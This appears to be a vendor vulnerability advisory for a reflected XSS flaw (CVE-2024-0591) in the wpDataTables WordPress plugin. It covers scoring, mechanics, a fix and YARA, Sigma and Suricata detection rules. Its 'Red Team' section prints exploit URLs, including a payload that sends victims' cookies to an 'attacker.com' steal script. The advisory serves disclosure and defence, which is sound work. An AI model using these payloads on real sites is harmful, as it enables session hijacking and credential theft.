CVE-2024-0591
Executive Summary
CVE-2024-0591 is a reflected Cross-Site Scripting (XSS) vulnerability in the wpDataTables WordPress plugin, affecting all versions up to and including 3.4.2.2. The flaw resides in insufficient input sanitization and output escaping of the A parameter, allowing unauthenticated attackers to inject arbitrary web scripts. Successful exploitation requires user interaction (e.g., clicking a crafted link), leading to session hijacking, credential theft, or defacement within the WordPress context. The EPSS score is 0.0%, indicating low exploitation likelihood, but the lack of a patch elevates risk for unmaintained sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is a commercial product, and the vendor has not released a patch as of this report. Users should monitor the vendor’s site for updates or consider alternative table plugins.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (clicking a link)
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The lack of a patch increases risk for sites using the plugin.
Deep Dive & Mechanics
The wpDataTables plugin fails to properly sanitize the A parameter in its HTTP request handling. When a user visits a crafted URL containing malicious JavaScript in the A parameter, the script is reflected back in the response without proper encoding. This allows the attacker to execute arbitrary JavaScript in the victim’s browser context, potentially stealing cookies, redirecting to phishing pages, or performing actions on behalf of the user.
The vulnerability is classified as Reflected XSS (CWE-79). The plugin does not implement output escaping for the A parameter, and input sanitization is insufficient to block script tags or event handlers.
Vulnerable vs. Patched Code
Vulnerable Code (wpDataTables <= 3.4.2.2):
// In a template or handler file
echo $_GET['A'];
The A parameter is directly echoed without escaping.
Patched Code (Hypothetical):
echo esc_html($_GET['A']);
Using WordPress’s esc_html() function would encode HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team
- Craft the exploit URL:
http://target-site.com/wp-content/plugins/wpdatatables/example.php?A=<script>alert('XSS')</script> - Deliver via phishing email or social engineering to trick an admin or user into clicking the link.
- Payload example for session hijacking:
http://target-site.com/wp-content/plugins/wpdatatables/example.php?A=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
Blue Team
- Monitor web server logs for suspicious
Aparameter values containing<script>,onerror, orjavascript:. - Deploy WAF rules to block requests with XSS patterns in the
Aparameter. - Educate users to avoid clicking untrusted links.
Indicators of Compromise (IOCs)
- URL Pattern:
?A=<script>or?A=javascript:in requests to wpDataTables endpoints. - Log Entries: HTTP requests with
Aparameter containing encoded or raw JavaScript. - Network Traffic: Outbound connections to attacker-controlled domains from victim browsers.
- File Changes: Unauthorized modifications to WordPress pages or posts via admin session hijacking.
Detection Engineering
YARA Rule
rule CVE_2024_0591_WP_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against wpDataTables plugin"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-0591"
strings:
$xss1 = /[?&]A=.*<script/i
$xss2 = /[?&]A=.*onerror/i
$xss3 = /[?&]A=.*javascript:/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against wpDataTables Plugin
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with malicious A parameter targeting wpDataTables
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '?A=<script'
- '?A=javascript:'
- '?A=onerror'
condition: selection
falsepositives:
- Legitimate use of script tags in parameter (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-0591 wpDataTables Reflected XSS Attempt"; flow:to_server; content:"?A="; http_uri; content:"<script"; http_uri; distance:0; within:100; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the wpDataTables plugin until a patch is available.
- Workaround: Implement a Web Application Firewall (WAF) rule to block requests containing
?A=with script tags. - Long-term: Replace the plugin with an alternative that is actively maintained and patched.
- Monitoring: Review web server logs for exploitation attempts and monitor user sessions for anomalies.
- User Training: Educate users to avoid clicking suspicious links, especially those containing query parameters.
Valters IT
Securing Digital Frontiers
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.